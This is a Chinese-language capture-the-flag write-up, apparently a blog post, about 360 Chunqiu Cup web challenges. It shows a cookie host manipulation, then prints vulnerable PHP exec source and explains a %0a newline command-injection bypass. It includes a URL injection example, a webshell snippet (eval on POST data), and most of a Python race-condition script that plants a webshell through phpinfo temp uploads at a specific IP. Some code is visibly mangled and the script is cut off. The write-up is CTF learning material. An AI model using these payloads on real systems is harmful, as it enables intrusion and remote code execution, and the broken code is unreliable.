新博客地址:http://bendawang.site/article/360%E6%98%A5%E7%A7%8B%E6%9D%AF-%E7%BA%BF%E4%B8%8A%E8%B5%9B-web-Writeup
进去之后抓包发现cookie里面有个可疑的host=0,想办法瞎改了半天没动静,后来师傅说改成证书host就好了,然后看了看证书
把cookie里面的host改成这个where_is_my_cat.ichunqiu.com
就拿到flag了。
进去之后扫到个index.txt
,知道了有个exec.php
,访问拿到源码如下:
highlight_file(__FILE__);
$dir = 'tmp/';
if(!file_exists($dir))
mkdir($dir);
chdir($dir);
if(!isset($_GET['shell'])){
phpinfo();
exit();
}
$shell = $_GET['shell'];
for ( $i=0; $i$shell ); $i++ ){
if ( !preg_match('/^\w+$/', $shell[$i]) )
exit();
}
session_start();
$path = $_SESSION['path'];
$shell = str_replace('path','/'.$path,implode(" ",$shell));
echo $shell;
exec("/bin/hence " . $shell);
?>
根据这篇文章https://github.com/p4-team/ctf/tree/master/2015-10-18-hitcon/web_100_babyfirst
知道我们可以通过%0a
绕过正则执行自己的命令,但是问题来了,本题目的服务器无法连接外网,就没有办法wget之类的,也就是我们得想办法在服务器上完成一切操作,但是我们可以执行php命令,加上有一个phpinfo()
,根据http://www.freebuf.com/articles/web/79830.html
的思路,我们可以类推,如果我们知道临时文件名/tmp/xxxxxxxx
,那么我们就可以调用php命令去执行他,比如我的临时文件里面的内容
w")," eval($_POST[a]);?>")?>
我用php命令执行它,就会在/var/www/html/tmp/bendawang
目录下生成一个webshell
,就算成功了,但是由于exec.php
的工作目录切换到了/var/www/html/tmp
,所以我们要先建立一个文件夹,当然也可以不用,只是为了防止别人轻易拿到你这个webshell.php
http://106.75.34.78:2081/exec.php?shell[]=bdw%0a&shell[]=mkdir&shell[]=bendawang
建好文件夹,然后直接借用
http://www.voidcn.com/blog/hxsstar/article/p-2897846.html
所给的脚本修改如下:
#!/usr/bin/env python
# encoding=utf-8
# Author : idwar
# http://secer.org
'''
可能需要你改的几个地方:
1、host
2、port
3、request中的phpinfo页面名字及路径
4、hello_lfi() 函数中的url,即存在lfi的页面和参数
5、如果不成功或报错,尝试增加padding长度到7000、8000试试
6、某些开了magic_quotes_gpc或者其他东西不能%00的,自行想办法截断并在(4)的位置对应修改
Good Luck :)
'''
import re
import urllib2
import hashlib
from socket import *
from time import sleep
import threading
host = '106.75.34.78'
#host = gethostbyname(domain)
port = 2081
shell_name = 'bendawang.php'
pattern = re.compile(r'''\[tmp_name\]\s=>\s(.*)\W*error]''')
payload = '''idwar/var/www/html/tmp/bendawang/''' + shell_name + '''\',"w"),"idwar was here")?>\r'''
req = '''-----------------------------7dbff1ded0714\r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
Content-Type: text/plain\r
\r
%s
-----------------------------7dbff1ded0714--\r''' % payload
padding='A' * 8000
request='''POST /exec.php?a='''+padding+''' HTTP/1.0\r
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie='''+padding+'''\r
HTTP_ACCEPT: ''' + padding + '''\r
HTTP_USER_AGENT: ''' + padding + '''\r
HTTP_ACCEPT_LANGUAGE: ''' + padding + '''\r
HTTP_PRAGMA: ''' + padding + '''\r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
Content-Length: %s\r
Host: %s\r
\r
%s''' % (len(req), host, req)
def hello_lfi():
while 1:
s = socket(AF_INET, SOCK_STREAM)
s.connect((host, port))
s.send(request)
data = ''
while r'